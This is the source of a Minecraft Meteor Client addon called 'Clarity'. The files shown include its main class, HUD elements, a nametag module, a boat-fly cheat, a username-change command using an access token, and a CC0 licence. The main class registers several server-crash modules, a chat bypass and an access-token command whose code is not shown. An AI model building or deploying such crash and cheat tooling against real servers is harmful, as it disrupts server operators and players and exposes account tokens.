11 | import com.x310.clarity.utils.payload.PaperCustomPayload;
12 | import meteordevelopment.meteorclient.addons.GithubRepo;
13 | import meteordevelopment.meteorclient.addons.MeteorAddon;
14 | import meteordevelopment.meteorclient.commands.Commands;
15 | import meteordevelopment.meteorclient.systems.hud.Hud;
16 | import meteordevelopment.meteorclient.systems.hud.HudGroup;
17 | import meteordevelopment.meteorclient.systems.modules.Category;
18 | import meteordevelopment.meteorclient.systems.modules.Modules;
19 | 
20 | import net.fabricmc.fabric.api.networking.v1.PayloadTypeRegistry;
21 | import org.slf4j.Logger;
22 | 
23 | import java.util.ArrayList;
24 | 
25 | public class Main extends MeteorAddon {
26 |     public static final Logger LOG = LogUtils.getLogger();
27 |     public static final Category CATEGORY = new Category("Clarity Addon");
28 |     public static final Category CRASH_GROUP = new Category("Clarity Crash");
29 |     public static final HudGroup HUD_GROUP = new HudGroup("Clarity");
30 |     public static final ArrayList<String> delayedMessages = new ArrayList<>();
31 | 
32 |     @Override
33 |     public void onInitialize() {
34 |         LOG.info("Initializing Clarity");
35 | 
36 |         // Modules
37 |         Modules.get().add(new ClarityNametags());
38 |         Modules.get().add(new PacketCharge());
39 |         Modules.get().add(new OhioCrash());
40 |         Modules.get().add(new RecipeCrash());
41 |         Modules.get().add(new PaperOOMCrash());
42 |         Modules.get().add(new PositionCrash());
43 |         Modules.get().add(new SkillCrash());
44 |         Modules.get().add(new PacketDelay());
45 |         Modules.get().add(new VelocityCrash());
46 |         Modules.get().add(new ChatBypass());
47 |         Modules.get().add(new ChannelFetch());
48 |         Modules.get().add(new PacketLogger());
49 |         Modules.get().add(new SkillCrash2());
50 |         Modules.get().add(new BungeeGuard());
51 |         Modules.get().add(new BetterBoatFly());
52 |         Modules.get().add(new BoatUAV());
53 |         Modules.get().add(new BoatPlace());
54 | 
55 |         // Commands
56 |         Commands.add(new GetAccessToken());
57 |         Commands.add(new ChangeUsername());
58 |         Commands.add(new ClickSlot());
59 |         Commands.add(new SafeDisconnect());
60 | 
61 | 
62 |         // HUD
63 |         Hud.get().register(Watermark.INFO);
64 |         Hud.get().register(Arraylist.INFO);
65 |         Hud.get().register(Logo.INFO);
66 |         Hud.get().register(ClarityChan.INFO);
67 | 
68 | 		// Payload register
69 |         PayloadTypeRegistry.playC2S().register(PaperCustomPayload.ID, PaperCustomPayload.CODEC);
70 |     }
71 | 
72 |     @Override
73 |     public void onRegisterCategories() {
74 |         Modules.registerCategory(CATEGORY);
75 |         Modules.registerCategory(CRASH_GROUP);
76 |     }
77 | 
78 |     @Override
79 |     public String getPackage() {
80 |         return "com.x310.clarity";
81 |     }
82 | 
83 |     @Override
84 |     public GithubRepo getRepo() {
85 |         return new GithubRepo("ck-clarity", "addon");
86 |     }
87 | }
88 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/hud/Watermark.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.hud;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.settings.ColorSetting;
 5 | import meteordevelopment.meteorclient.settings.Setting;
 6 | import meteordevelopment.meteorclient.settings.SettingGroup;
 7 | import meteordevelopment.meteorclient.systems.hud.HudElement;
 8 | import meteordevelopment.meteorclient.systems.hud.HudElementInfo;
 9 | import meteordevelopment.meteorclient.systems.hud.HudRenderer;
10 | import meteordevelopment.meteorclient.utils.render.color.Color;
11 | import meteordevelopment.meteorclient.mixin.MinecraftClientAccessor;
12 | import meteordevelopment.meteorclient.utils.render.color.SettingColor;
13 | import meteordevelopment.meteorclient.utils.world.TickRate;
14 | import net.minecraft.client.network.PlayerListEntry;
15 | import static meteordevelopment.meteorclient.MeteorClient.mc;
16 | 
17 | public class Watermark extends HudElement {
18 |     private final SettingGroup sgGeneral = settings.createGroup("General");
19 |     private static int ping() {
20 |         if (mc.getNetworkHandler() == null || mc.player == null) return 0;
21 |         PlayerListEntry playerListEntry = mc.getNetworkHandler().getPlayerListEntry(mc.player.getUuid());
22 |         return playerListEntry != null ? playerListEntry.getLatency() : 0;
23 |     }
24 |     public static final HudElementInfo<Watermark> INFO = new HudElementInfo<>(Main.HUD_GROUP, "Watermark", "Watermark", Watermark::new);
25 | 
26 |     public Watermark() {
27 |         super(INFO);
28 |     }
29 | 
30 |     private final Setting<SettingColor> lineColor = sgGeneral.add(((ColorSetting.Builder)((ColorSetting.Builder)(new ColorSetting.Builder())
31 |         .name("line color"))
32 |         .description("color wow"))
33 |         .defaultValue(new SettingColor())
34 |         .build()
35 |     );
36 | 
37 |     private final Setting<SettingColor> textColor = sgGeneral.add(((ColorSetting.Builder)((ColorSetting.Builder)(new ColorSetting.Builder())
38 |         .name("text color"))
39 |         .description("color wow"))
40 |         .defaultValue(new SettingColor())
41 |         .build()
42 |     );
43 | 
44 |     @Override
45 |     public void render(HudRenderer renderer) {
46 |         int fps = MinecraftClientAccessor.getFps();
47 |         int tps = (int) TickRate.INSTANCE.getTickRate();
48 |         int ping = ping();
49 | 
50 |         String text = String.format("clarity.gay | 0.3.5 / %d FPS / %d TPS / %d ms", fps, tps, ping);
51 |         int textWidth = (int) renderer.textWidth(text, true);
52 |         int textHeight = (int) renderer.textHeight(true);
53 | 
54 |         int paddingX = 6;
55 |         int paddingY = 3;
56 |         int underlineHeight = 2;
57 |         Color lcolor = lineColor.get();
58 |         Color tcolor = textColor.get();
59 | 
60 |         int outerWidth = textWidth + paddingX * 2;
61 |         int outerHeight = textHeight + paddingY * 2;
62 | 
63 |         setSize(outerWidth, outerHeight);
64 | 
65 | //        renderer.quad(x - backgroundOffset, y - backgroundOffset, outerWidth + backgroundOffset * 2, outerHeight + backgroundOffset * 2, new Color(50, 50, 50, 255));
66 |         renderer.quad(x, y, outerWidth, outerHeight, new Color(0, 0, 0, 255));
67 |         renderer.quad(x, y - underlineHeight, outerWidth, underlineHeight, lcolor);
68 |         renderer.text(text, x + paddingX, y + paddingY, tcolor, true);
69 |         renderer.text("clarity.gay", x + paddingX, y + paddingY, tcolor, true);
70 |     }
71 | 
72 | }
73 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/commands/ChangeUsername.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.commands;
 2 | 
 3 | import com.mojang.brigadier.arguments.StringArgumentType;
 4 | import com.mojang.brigadier.builder.LiteralArgumentBuilder;
 5 | import meteordevelopment.meteorclient.commands.Command;
 6 | import net.minecraft.command.CommandSource;
 7 | import java.net.HttpURLConnection;
 8 | import java.net.URL;
 9 | import java.io.BufferedReader;
10 | import java.io.InputStreamReader;
11 | import java.io.IOException;
12 | import java.util.concurrent.ExecutorService;
13 | import java.util.concurrent.Executors;
14 | 
15 | public class ChangeUsername extends Command {
16 |     private static final ExecutorService executor = Executors.newSingleThreadExecutor();
17 | 
18 |     public ChangeUsername() {
19 |         super("changeusername", "Change the username with an access token.");
20 |     }
21 | 
22 |     @Override
23 |     public void build(LiteralArgumentBuilder<CommandSource> builder) {
24 |         builder.executes(context -> {
25 |             info("Missing Arguments: changeusername <accessToken> <newUsername>");
26 |             return SINGLE_SUCCESS;
27 |         });
28 | 
29 |         builder.then(argument("accessToken", StringArgumentType.word())
30 |             .then(argument("username", StringArgumentType.word()).executes(context -> {
31 |                 String accessToken = StringArgumentType.getString(context, "accessToken");
32 |                 String username = StringArgumentType.getString(context, "username");
33 | 
34 |                 executor.execute(() -> {
35 |                     try {
36 |                         URL url = new URL("https://api.minecraftservices.com/minecraft/profile/name/" + username);
37 |                         HttpURLConnection connection = (HttpURLConnection) url.openConnection();
38 |                         connection.setRequestMethod("PUT");
39 |                         connection.setRequestProperty("Authorization", "Bearer " + accessToken);
40 |                         connection.setRequestProperty("Content-Type", "application/json");
41 |                         connection.setDoOutput(true);
42 | 
43 |                         int responseCode = connection.getResponseCode();
44 |                         BufferedReader reader = null;
45 |                         StringBuilder response = new StringBuilder();
46 | 
47 |                         if (responseCode >= 400) {
48 |                             reader = new BufferedReader(new InputStreamReader(connection.getErrorStream()));
49 |                         } else {
50 |                             reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
51 |                         }
52 |                         String line;
53 |                         while ((line = reader.readLine()) != null) {
54 |                             response.append(line);
55 |                         }
56 |                         reader.close();
57 | 
58 |                         if (responseCode == 403) {
59 |                             info("Name is already taken or Player is on username change delay.");
60 |                         } else if (responseCode == 400) {
61 |                             info("Invalid profile name.");
62 |                         } else if (responseCode == 429) {
63 |                             info("Too many requests.");
64 |                         } else if (responseCode == 200) {
65 |                             info("Username changed to " + username + ".");
66 |                         } else {
67 |                             info("Unexpected response code: " + responseCode + " | Response: " + response.toString());
68 |                         }
69 | 
70 |                     } catch (IOException e) {
71 |                         error("Couldn't change username: " + e.getMessage());
72 |                     }
73 |                 });
74 | 
75 |                 return SINGLE_SUCCESS;
76 |             }))
77 |         );
78 |     }
79 | }
80 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/hud/Arraylist.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.hud;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.settings.BoolSetting;
 5 | import meteordevelopment.meteorclient.settings.DoubleSetting;
 6 | import meteordevelopment.meteorclient.settings.Setting;
 7 | import meteordevelopment.meteorclient.settings.SettingGroup;
 8 | import meteordevelopment.meteorclient.systems.hud.Hud;
 9 | import meteordevelopment.meteorclient.systems.hud.HudElement;
10 | import meteordevelopment.meteorclient.systems.hud.HudElementInfo;
11 | import meteordevelopment.meteorclient.systems.hud.HudRenderer;
12 | import meteordevelopment.meteorclient.utils.render.color.Color;
13 | import net.minecraft.client.network.PlayerListEntry;
14 | import meteordevelopment.meteorclient.systems.modules.Modules;
15 | 
16 | import static meteordevelopment.meteorclient.MeteorClient.mc;
17 | 
18 | public class Arraylist extends HudElement {
19 |     private final SettingGroup sgScale = settings.createGroup("Scale");
20 |     private final SettingGroup sgColor = settings.createGroup("Color");
21 |     private final SettingGroup sgGeneral = settings.getDefaultGroup();
22 |     private final Setting<Boolean> outlines = sgGeneral.add(((BoolSetting.Builder)((BoolSetting.Builder)((BoolSetting.Builder)(new BoolSetting.Builder())
23 |         .name("outlines"))
24 |         .description("Yes/no render outlines"))
25 |         .defaultValue(false))
26 |         .build()
27 |     );
28 | 
29 |     SettingGroup var10001 = this.sgGeneral;
30 |     Setting<Boolean> var10003 = this.outlines;
31 |     DoubleSetting.Builder var5 = (DoubleSetting.Builder)((DoubleSetting.Builder)(new DoubleSetting.Builder())
32 |         .name("scale"))
33 |         .description("Custom scale.");
34 | 
35 |     private final Setting<Double> scale = var10001.add(((DoubleSetting.Builder)var5.visible(var10003::get)).defaultValue((double)1.0F).min((double)0.5F).sliderRange((double)0.5F, (double)3.0F).build());;
36 |     private final Setting<Boolean> customScale = sgScale.add(((BoolSetting.Builder)((BoolSetting.Builder)((BoolSetting.Builder)(new BoolSetting.Builder())
37 |         .name("custom-scale"))
38 |         .description("scale shit ts ts pmo icl"))
39 |         .defaultValue(false))
40 |         .build()
41 |     );
42 | 
43 |     private static int ping() {
44 |         if (mc.getNetworkHandler() == null || mc.player == null) return 0;
45 | 
46 |         PlayerListEntry playerListEntry = mc.getNetworkHandler().getPlayerListEntry(mc.player.getUuid());
47 |         return playerListEntry != null ? playerListEntry.getLatency() : 0;
48 |     }
49 | 
50 |     public static final HudElementInfo<Arraylist> INFO = new HudElementInfo<>(Main.HUD_GROUP, "Arraylist", "Arraylist", Arraylist::new);
51 | 
52 |     public Arraylist() {
53 |         super(INFO);
54 |     }
55 | 
56 |     private double getScale() {
57 |         return (Boolean)this.customScale.get() ? (Double)this.scale.get() : Hud.get().getTextScale();
58 |     }
59 | 
60 |     @Override
61 |     public void render(HudRenderer renderer) {
62 |         int paddingX = 6;
63 |         int paddingY = 3;
64 | 
65 |         var activeModules = Modules.get().getActive();
66 | 
67 |         activeModules.sort((module1, module2) -> Integer.compare(module2.title.length(), module1.title.length()));
68 | 
69 |         float totalHeight = 0;
70 |         for (int i = 0; i < activeModules.size(); i++) {
71 |             String moduleName = activeModules.get(i).title;
72 |             float moduleWidth = (float) renderer.textWidth(moduleName);
73 |             totalHeight += (float) renderer.textHeight(true, getScale());
74 | 
75 |             float fadeFactor = (float) (System.currentTimeMillis() % 1000) / 1000;
76 | 
77 |             int red = (int) (177 + (117 - 177) * Math.sin(fadeFactor * Math.PI * 2));
78 |             int green = (int) (205 + (168 - 205) * Math.sin(fadeFactor * Math.PI * 2));
79 |             int blue = (int) (255 * Math.sin(fadeFactor * Math.PI * 2));
80 | 
81 |             Color moduleColor = new Color(red, green, blue, 255);
82 | 
83 |             float xPos = x + getWidth() - moduleWidth - paddingX;
84 |             renderer.text(moduleName, xPos, y + paddingY + (i * 15), moduleColor, true);
85 |         }
86 | 
87 |         setSize(renderer.textWidth("Test"), totalHeight);
88 |     }
89 | }
90 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/BetterBoatFly.java:
--------------------------------------------------------------------------------
  1 | package com.x310.clarity.modules;
  2 | 
  3 | import com.x310.clarity.Main;
  4 | import java.util.List;
  5 | import meteordevelopment.meteorclient.events.entity.BoatMoveEvent;
  6 | import meteordevelopment.meteorclient.events.packets.PacketEvent;
  7 | import meteordevelopment.meteorclient.events.world.TickEvent;
  8 | import meteordevelopment.meteorclient.mixininterface.IVec3d;
  9 | import meteordevelopment.meteorclient.settings.BoolSetting;
 10 | import meteordevelopment.meteorclient.settings.DoubleSetting;
 11 | import meteordevelopment.meteorclient.settings.Setting;
 12 | import meteordevelopment.meteorclient.settings.SettingGroup;
 13 | import meteordevelopment.meteorclient.systems.modules.Module;
 14 | import meteordevelopment.meteorclient.utils.player.PlayerUtils;
 15 | import meteordevelopment.orbit.EventHandler;
 16 | import net.minecraft.client.network.ClientPlayerEntity;
 17 | import net.minecraft.entity.vehicle.BoatEntity;
 18 | import net.minecraft.network.packet.s2c.play.VehicleMoveS2CPacket;
 19 | import net.minecraft.util.Hand;
 20 | import net.minecraft.util.math.Box;
 21 | import net.minecraft.util.math.Vec3d;
 22 | 
 23 | public class BetterBoatFly extends Module {
 24 |     private final Setting<Double> speed;
 25 |     private final Setting<Double> verticalSpeed;
 26 |     private final Setting<Double> fallSpeed;
 27 |     private final Setting<Boolean> cancelServerPackets;
 28 |     private final Setting<Boolean> autoMount;
 29 |     private final Setting<Boolean> rotate;
 30 | 
 31 |     public BetterBoatFly() {
 32 |         super(Main.CATEGORY, "better-boat-fly", "Transforms your boat into a plane.");
 33 |         SettingGroup sgGeneral = settings.getDefaultGroup();
 34 | 
 35 |         speed = sgGeneral.add(new DoubleSetting.Builder()
 36 |             .name("speed")
 37 |             .description("Horizontal speed in blocks per second.")
 38 |             .defaultValue(10.0)
 39 |             .min(0.0)
 40 |             .sliderMax(50.0)
 41 |             .build());
 42 | 
 43 |         verticalSpeed = sgGeneral.add(new DoubleSetting.Builder()
 44 |             .name("vertical-speed")
 45 |             .description("Vertical speed in blocks per second.")
 46 |             .defaultValue(6.0)
 47 |             .min(0.0)
 48 |             .sliderMax(20.0)
 49 |             .build());
 50 | 
 51 |         fallSpeed = sgGeneral.add(new DoubleSetting.Builder()
 52 |             .name("fall-speed")
 53 |             .description("How fast you fall in blocks per second.")
 54 |             .defaultValue(0.1)
 55 |             .min(0.0)
 56 |             .build());
 57 | 
 58 |         cancelServerPackets = sgGeneral.add(new BoolSetting.Builder()
 59 |             .name("cancel-server-packets")
 60 |             .description("Cancels incoming boat move packets.")
 61 |             .defaultValue(false)
 62 |             .build());
 63 | 
 64 |         autoMount = sgGeneral.add(new BoolSetting.Builder()
 65 |             .name("boat-auto-mount")
 66 |             .description("Automatically mounts the nearest boat if not already riding one.")
 67 |             .defaultValue(false)
 68 |             .build());
 69 | 
 70 |         rotate = sgGeneral.add(new BoolSetting.Builder()
 71 |             .name("rotate")
 72 |             .description("Faces the boat before mounting.")
 73 |             .defaultValue(true)
 74 |             .build());
 75 |     }
 76 | 
 77 |     @EventHandler
 78 |     private void onTick(TickEvent.Pre event) {
 79 |         if (!autoMount.get()) return;
 80 | 
 81 |         ClientPlayerEntity player = mc.player;
 82 |         if (player == null || player.isRemoved() || player.hasVehicle()) return;
 83 | 
 84 |         double radius = 5.0;
 85 |         Box searchBox = player.getBoundingBox().expand(radius);
 86 |         assert mc.world != null;
 87 |         List<BoatEntity> boats = mc.world.getEntitiesByClass(BoatEntity.class, searchBox, boat -> !boat.hasPassenger(player));
 88 | 
 89 |         BoatEntity nearest = null;
 90 |         double nearestDistSq = Double.MAX_VALUE;
 91 |         Vec3d playerPos = player.getPos();
 92 | 
 93 |         for (BoatEntity boat : boats) {
 94 |             double distSq = boat.squaredDistanceTo(playerPos);
 95 |             if (distSq < nearestDistSq && PlayerUtils.isWithin(boat, 5.0)) {
 96 |                 nearest = boat;
 97 |                 nearestDistSq = distSq;
 98 |             }
 99 |         }
100 | 
101 |         if (nearest != null) interact(nearest);
102 |     }
103 | 
104 |     private void interact(BoatEntity boat) {
105 |         if (rotate.get()) {
106 |             ClientPlayerEntity player = mc.player;
107 |             assert player != null;
108 |             double deltaX = boat.getX() - player.getX();
109 |             double deltaZ = boat.getZ() - player.getZ();
110 |             double deltaY = boat.getY() + boat.getHeight() / 2.0 - (player.getY() + player.getStandingEyeHeight());
111 |             double yaw = Math.toDegrees(Math.atan2(deltaZ, deltaX)) - 90.0;
112 |             double pitch = Math.toDegrees(-Math.atan2(deltaY, Math.sqrt(deltaX * deltaX + deltaZ * deltaZ)));
113 | 
114 |             player.setYaw((float) yaw);
115 |             player.setPitch((float) pitch);
116 |         }
117 | 
118 |         assert mc.interactionManager != null;
119 |         mc.interactionManager.interactEntity(mc.player, boat, Hand.MAIN_HAND);
120 |     }
121 | 
122 |     @EventHandler
123 |     private void onBoatMove(BoatMoveEvent event) {
124 |         if (event.boat.getFirstPassenger() != mc.player) return;
125 | 
126 |         assert mc.player != null;
127 |         event.boat.setYaw(mc.player.getYaw());
128 | 
129 |         Vec3d vel = PlayerUtils.getHorizontalVelocity(speed.get());
130 |         double velX = vel.x;
131 |         double velZ = vel.z;
132 |         double velY = 0.0;
133 | 
134 |         if (mc.options.jumpKey.isPressed()) velY += verticalSpeed.get() / 20.0;
135 |         if (mc.options.sprintKey.isPressed()) velY -= verticalSpeed.get() / 20.0;
136 |         else velY -= fallSpeed.get() / 20.0;
137 | 
138 |         ((IVec3d) event.boat.getVelocity()).meteor$set(velX, velY, velZ);
139 |     }
140 | 
141 |     @EventHandler
142 |     private void onReceivePacket(PacketEvent.Receive event) {
143 |         if (event.packet instanceof VehicleMoveS2CPacket && cancelServerPackets.get()) {
144 |             event.cancel();
145 |         }
146 |     }
147 | }
148 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 | Creative Commons Legal Code
  2 | 
  3 | CC0 1.0 Universal
  4 | 
  5 |     CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE
  6 |     LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN
  7 |     ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS
  8 |     INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES
  9 |     REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS
 10 |     PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM
 11 |     THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED
 12 |     HEREUNDER.
 13 | 
 14 | Statement of Purpose
 15 | 
 16 | The laws of most jurisdictions throughout the world automatically confer
 17 | exclusive Copyright and Related Rights (defined below) upon the creator
 18 | and subsequent owner(s) (each and all, an "owner") of an original work of
 19 | authorship and/or a database (each, a "Work").
 20 | 
 21 | Certain owners wish to permanently relinquish those rights to a Work for
 22 | the purpose of contributing to a commons of creative, cultural and
 23 | scientific works ("Commons") that the public can reliably and without fear
 24 | of later claims of infringement build upon, modify, incorporate in other
 25 | works, reuse and redistribute as freely as possible in any form whatsoever
 26 | and for any purposes, including without limitation commercial purposes.
 27 | These owners may contribute to the Commons to promote the ideal of a free
 28 | culture and the further production of creative, cultural and scientific
 29 | works, or to gain reputation or greater distribution for their Work in
 30 | part through the use and efforts of others.
 31 | 
 32 | For these and/or other purposes and motivations, and without any
 33 | expectation of additional consideration or compensation, the person
 34 | associating CC0 with a Work (the "Affirmer"), to the extent that he or she
 35 | is an owner of Copyright and Related Rights in the Work, voluntarily
 36 | elects to apply CC0 to the Work and publicly distribute the Work under its
 37 | terms, with knowledge of his or her Copyright and Related Rights in the
 38 | Work and the meaning and intended legal effect of CC0 on those rights.
 39 | 
 40 | 1. Copyright and Related Rights. A Work made available under CC0 may be
 41 | protected by copyright and related or neighboring rights ("Copyright and
 42 | Related Rights"). Copyright and Related Rights include, but are not
 43 | limited to, the following:
 44 | 
 45 |   i. the right to reproduce, adapt, distribute, perform, display,
 46 |      communicate, and translate a Work;
 47 |  ii. moral rights retained by the original author(s) and/or performer(s);
 48 | iii. publicity and privacy rights pertaining to a person's image or
 49 |      likeness depicted in a Work;
 50 |  iv. rights protecting against unfair competition in regards to a Work,
 51 |      subject to the limitations in paragraph 4(a), below;
 52 |   v. rights protecting the extraction, dissemination, use and reuse of data
 53 |      in a Work;
 54 |  vi. database rights (such as those arising under Directive 96/9/EC of the
 55 |      European Parliament and of the Council of 11 March 1996 on the legal
 56 |      protection of databases, and under any national implementation
 57 |      thereof, including any amended or successor version of such
 58 |      directive); and
 59 | vii. other similar, equivalent or corresponding rights throughout the
 60 |      world based on applicable law or treaty, and any national
 61 |      implementations thereof.
 62 | 
 63 | 2. Waiver. To the greatest extent permitted by, but not in contravention
 64 | of, applicable law, Affirmer hereby overtly, fully, permanently,
 65 | irrevocably and unconditionally waives, abandons, and surrenders all of
 66 | Affirmer's Copyright and Related Rights and associated claims and causes
 67 | of action, whether now known or unknown (including existing as well as
 68 | future claims and causes of action), in the Work (i) in all territories
 69 | worldwide, (ii) for the maximum duration provided by applicable law or
 70 | treaty (including future time extensions), (iii) in any current or future
 71 | medium and for any number of copies, and (iv) for any purpose whatsoever,
 72 | including without limitation commercial, advertising or promotional
 73 | purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each
 74 | member of the public at large and to the detriment of Affirmer's heirs and
 75 | successors, fully intending that such Waiver shall not be subject to
 76 | revocation, rescission, cancellation, termination, or any other legal or
 77 | equitable action to disrupt the quiet enjoyment of the Work by the public
 78 | as contemplated by Affirmer's express Statement of Purpose.
 79 | 
 80 | 3. Public License Fallback. Should any part of the Waiver for any reason
 81 | be judged legally invalid or ineffective under applicable law, then the
 82 | Waiver shall be preserved to the maximum extent permitted taking into
 83 | account Affirmer's express Statement of Purpose. In addition, to the
 84 | extent the Waiver is so judged Affirmer hereby grants to each affected
 85 | person a royalty-free, non transferable, non sublicensable, non exclusive,
 86 | irrevocable and unconditional license to exercise Affirmer's Copyright and
 87 | Related Rights in the Work (i) in all territories worldwide, (ii) for the
 88 | maximum duration provided by applicable law or treaty (including future
 89 | time extensions), (iii) in any current or future medium and for any number
 90 | of copies, and (iv) for any purpose whatsoever, including without
 91 | limitation commercial, advertising or promotional purposes (the
 92 | "License"). The License shall be deemed effective as of the date CC0 was
 93 | applied by Affirmer to the Work. Should any part of the License for any
 94 | reason be judged legally invalid or ineffective under applicable law, such
 95 | partial invalidity or ineffectiveness shall not invalidate the remainder
 96 | of the License, and in such case Affirmer hereby affirms that he or she
 97 | will not (i) exercise any of his or her remaining Copyright and Related
 98 | Rights in the Work or (ii) assert any associated claims and causes of
 99 | action with respect to the Work, in either case contrary to Affirmer's
100 | express Statement of Purpose.
101 | 
102 | 4. Limitations and Disclaimers.
103 | 
104 |  a. No trademark or patent rights held by Affirmer are waived, abandoned,
105 |     surrendered, licensed or otherwise affected by this document.
106 |  b. Affirmer offers the Work as-is and makes no representations or
107 |     warranties of any kind concerning the Work, express, implied,
108 |     statutory or otherwise, including without limitation warranties of
109 |     title, merchantability, fitness for a particular purpose, non
110 |     infringement, or the absence of latent or other defects, accuracy, or
111 |     the present or absence of errors, whether or not discoverable, all to
112 |     the greatest extent permissible under applicable law.
113 |  c. Affirmer disclaims responsibility for clearing rights of other persons
114 |     that may apply to the Work or any use thereof, including without
115 |     limitation any person's Copyright and Related Rights in the Work.
116 |     Further, Affirmer disclaims responsibility for obtaining any necessary
117 |     consents, permissions or other rights required for any use of the
118 |     Work.
119 |  d. Affirmer understands and acknowledges that Creative Commons is not a
120 |     party to this document and has no duty or obligation with respect to
121 |     this CC0 or use of the Work.
122 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/ClarityNametags.java:
--------------------------------------------------------------------------------
  1 | package com.x310.clarity.modules;
  2 | 
  3 | import com.x310.clarity.Main;
  4 | import meteordevelopment.meteorclient.events.render.Render2DEvent;
  5 | import meteordevelopment.meteorclient.events.world.TickEvent;
  6 | import meteordevelopment.meteorclient.renderer.text.TextRenderer;
  7 | import meteordevelopment.meteorclient.settings.*;
  8 | import meteordevelopment.meteorclient.systems.config.Config;
  9 | import meteordevelopment.meteorclient.systems.modules.Module;
 10 | import meteordevelopment.meteorclient.systems.modules.Modules;
 11 | import meteordevelopment.meteorclient.systems.modules.misc.NameProtect;
 12 | import meteordevelopment.meteorclient.renderer.Renderer2D;
 13 | import meteordevelopment.meteorclient.utils.Utils;
 14 | import meteordevelopment.meteorclient.utils.player.PlayerUtils;
 15 | import meteordevelopment.meteorclient.utils.render.NametagUtils;
 16 | import meteordevelopment.meteorclient.utils.render.color.Color;
 17 | import meteordevelopment.meteorclient.utils.render.color.SettingColor;
 18 | import meteordevelopment.orbit.EventHandler;
 19 | import net.minecraft.client.util.math.MatrixStack;
 20 | import net.minecraft.entity.*;
 21 | import net.minecraft.entity.player.PlayerEntity;
 22 | import net.minecraft.util.math.MathHelper;
 23 | import net.minecraft.util.math.Vec3d;
 24 | import org.joml.Vector3d;
 25 | 
 26 | import java.util.*;
 27 | 
 28 | public class ClarityNametags extends Module {
 29 |     private final SettingGroup sgGeneral = settings.getDefaultGroup();
 30 |     private final SettingGroup sgPlayers = settings.createGroup("Players");
 31 |     private final SettingGroup sgRender = settings.createGroup("Render");
 32 |     private final Setting<SettingColor> nameColor = sgRender.add(((ColorSetting.Builder)((ColorSetting.Builder)(new ColorSetting.Builder())
 33 |         .name("name-color"))
 34 |         .description("The color of the nametag names."))
 35 |         .defaultValue(new SettingColor())
 36 |         .build()
 37 |     );
 38 | 
 39 |     private final Color RED = new Color(255, 25, 25);
 40 |     private final Color GREEN = new Color(25, 255, 25);
 41 |     private final Color AMBER = new Color(255, 105, 25);
 42 |     private final Color background = new Color(50, 50, 50, 255);
 43 | 
 44 |     private final Setting<Double> scale = sgGeneral.add(new DoubleSetting.Builder()
 45 |         .name("Scale")
 46 |         .defaultValue(1F)
 47 |         .build()
 48 |     );
 49 | 
 50 |     private final List<Entity> entityList = new ArrayList<Entity>();
 51 |     private final Setting<Boolean> culling = sgGeneral.add(new BoolSetting.Builder()
 52 |         .name("Culling")
 53 |         .defaultValue(false)
 54 |         .build()
 55 |     );
 56 | 
 57 |     private final Setting<Integer> maxCullCount = sgGeneral.add(new IntSetting.Builder()
 58 |         .name("Max Cull Count")
 59 |         .defaultValue(20)
 60 |         .build()
 61 |     );
 62 | 
 63 |     private final Setting<Boolean> displayHealth = sgPlayers.add(((BoolSetting.Builder)((BoolSetting.Builder)((BoolSetting.Builder)(new BoolSetting.Builder()).name("health")).description("Shows the player's health.")).defaultValue(true)).build());;
 64 | 
 65 |     private final Vector3d pos;
 66 | 
 67 | 
 68 |     public ClarityNametags() {
 69 |         super(Main.CATEGORY, "Claritytags", "clarity nametag fr");
 70 |         this.pos = new Vector3d();
 71 |     }
 72 | 
 73 |     private int getRenderCount() {
 74 |         int count = (Boolean)this.culling.get() ? (Integer)this.maxCullCount.get() : this.entityList.size();
 75 |         count = MathHelper.clamp(count, 0, this.entityList.size());
 76 |         return count;
 77 |     }
 78 | 
 79 |     @EventHandler
 80 |     private void onTick(TickEvent.Post event) {
 81 |         this.entityList.clear();
 82 |         Vec3d cameraPos = this.mc.gameRenderer.getCamera().getPos();
 83 | 
 84 |         assert this.mc.world !=
 85 |             null;
 86 |         for (Entity entity : this.mc.world.getEntities())
 87 |             if (entity instanceof PlayerEntity && entity != mc.player) {
 88 |                 this.entityList.add(entity);
 89 |             }
 90 | 
 91 |         this.entityList.sort(Comparator.comparingDouble(e -> e.squaredDistanceTo(cameraPos)));
 92 |     }
 93 | 
 94 |     private void drawBg(double x, double y, double width, double height) {
 95 |         Renderer2D.COLOR.begin();
 96 |         Renderer2D.COLOR.quad(x - (double)1.0F, y - (double)1.0F, width + (double)2.0F, height + (double)2.0F, (Color)background);
 97 |         Renderer2D.COLOR.quad(x, y, width, height, new Color(30, 30, 30, 255));
 98 |         Renderer2D.COLOR.quad(x, y - 2, width, 2, new Color(177, 205, 255, 255));
 99 |         Renderer2D.COLOR.render((MatrixStack)null);
100 | 
101 |     }
102 | 
103 |     private void renderNametagPlayer(Render2DEvent event, PlayerEntity player, boolean shadow) {
104 |         TextRenderer text = TextRenderer.get();
105 |         NametagUtils.begin(this.pos);
106 |         Color nameColor = PlayerUtils.getPlayerColor(player, (Color) this.nameColor.get());
107 |         String name = player == this.mc.player ? ((NameProtect) Modules.get().get(NameProtect.class)).getName(player.getName().getString()) : player.getName().getString();
108 |         float absorption = player.getAbsorptionAmount();
109 |         int health = Math.round(player.getHealth() + absorption);
110 |         double healthPercentage = (double) health / (player.getMaxHealth() + absorption);
111 |         String healthText = " " + health;
